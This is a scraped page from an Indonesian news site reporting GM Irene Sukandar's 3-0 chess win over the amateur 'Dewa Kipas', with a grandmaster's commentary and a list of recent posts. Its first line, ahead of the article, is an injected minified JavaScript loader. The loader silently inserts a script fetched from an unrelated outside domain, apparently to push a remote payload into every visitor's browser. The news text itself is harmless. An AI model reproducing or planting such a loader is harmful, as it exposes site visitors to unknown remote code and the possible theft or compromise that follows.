(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Kalah Telak, Dewa Kipas Tak Berdaya di Hadapan GM Irene Sukandar


KANALKALIMANTAN.COM – Pertarungan akbar Dewa Kipas alias Dadang Subur kontra Grandmaster (GM) Irene Sukandar akhirnya dihelat sore ini dan ditayangkan secara live di saluran YouTube Deddy Corbuzier.

Tiga babak berlalu, GM Irene menyapu bersih kemenangan dan menang telak 3-0. Di sini akhirnya memang terlihat jelas perbedaan level antara seorang Grandmaster dan pecatur amatir.

Di awal permainan, Dewa Kipas melakukan blunder total di langkah kelima. Babak pertama pertandingan berjalan cukup singkat, sekira 10 menit. GM Irene Sukandar di bidak catur putih, sementara Dewa Kipas di bagian hitam.

Dari awal pertandingan, GM Irene langsung mengambil inisiatif menyerang. Hingga akhirnya pada langkah kelima, Dewa Kipas melakukan kesalahan fatal sekaligus memudahkan jalannya GM Irene untuk mendapatkan kemenangan.

GM Susanto Megaranto yang menjadi komentator mengakui, kesalahan fatal Dewa Kipas di langkah kelima membuat permainan sudah bisa dibaca.

Pertandingan catur Dewa Kipas vs GM Irene Sukandar. [Youtube]

“Kalau saya lihat, masih benar di keempat. Nah, di langkah kelima diragukan. Berikutnya blunder di C8, kesalahan fatal yang jarang dilakukan pemain profesional. Blunder total,” papar GM Susanto.

Di babak pertama ini, GM Susanto mengaku belum melihat kehebatan Dewa Kipas.

“Level Pak Dadang belum terlihat, karena ada blunder total itu. Karena di pecatur profesional sangat jarang terjadi. Tapi manusiawi, bisa terjadi blunder,” jelas GM Susanto

GM Susanto sendiri melihat babak kedua pertandingan akan berjalan seru. “Masih ada tiga kesempatan (tiga babak lagi). Babak kedua akan seru, karena dia ambil putih. Pak Dadang akan ambil inisiatif menang,” tuturnya memprediksi.

Baca juga : Dewa Kipas Tak Berkutik Lawan GM Irene, GM Susanto: Levelnya Beda Lah!

Akan tetapi, prediksi GM Susanto itu tak sesuai dengan fakta yang terjadi. GM Irene masih menunjukkan superioritasnya atas Dewa Kipas.

GM Irene pun kembali meraih kemenangan di dua game berikutnya, dan membuatnya unggul secara komprehensif; 3-0.

Well, masih ada game keempat, namun apa pun yang tejadi, GM Irene telah menyegel kemenangannya atas Dewa Kipas.

Andai pun Dewa Kipas menang di babak terakhir ini, itu tak lebih dari sekadar kemenangan konsolasi untuk Dadang Subur.

Pria 60 tahun yang berdomisili di Bandung tersebut lantas menolak memainkan game keempat, babak yang sudah tak berarti apa-apa lagi. GM Irene menang dengan skor akhir 3-0(Suara)

Editor : Suara

 

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

1 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

4 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

4 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

6 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

8 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

9 jam ago

This website uses cookies.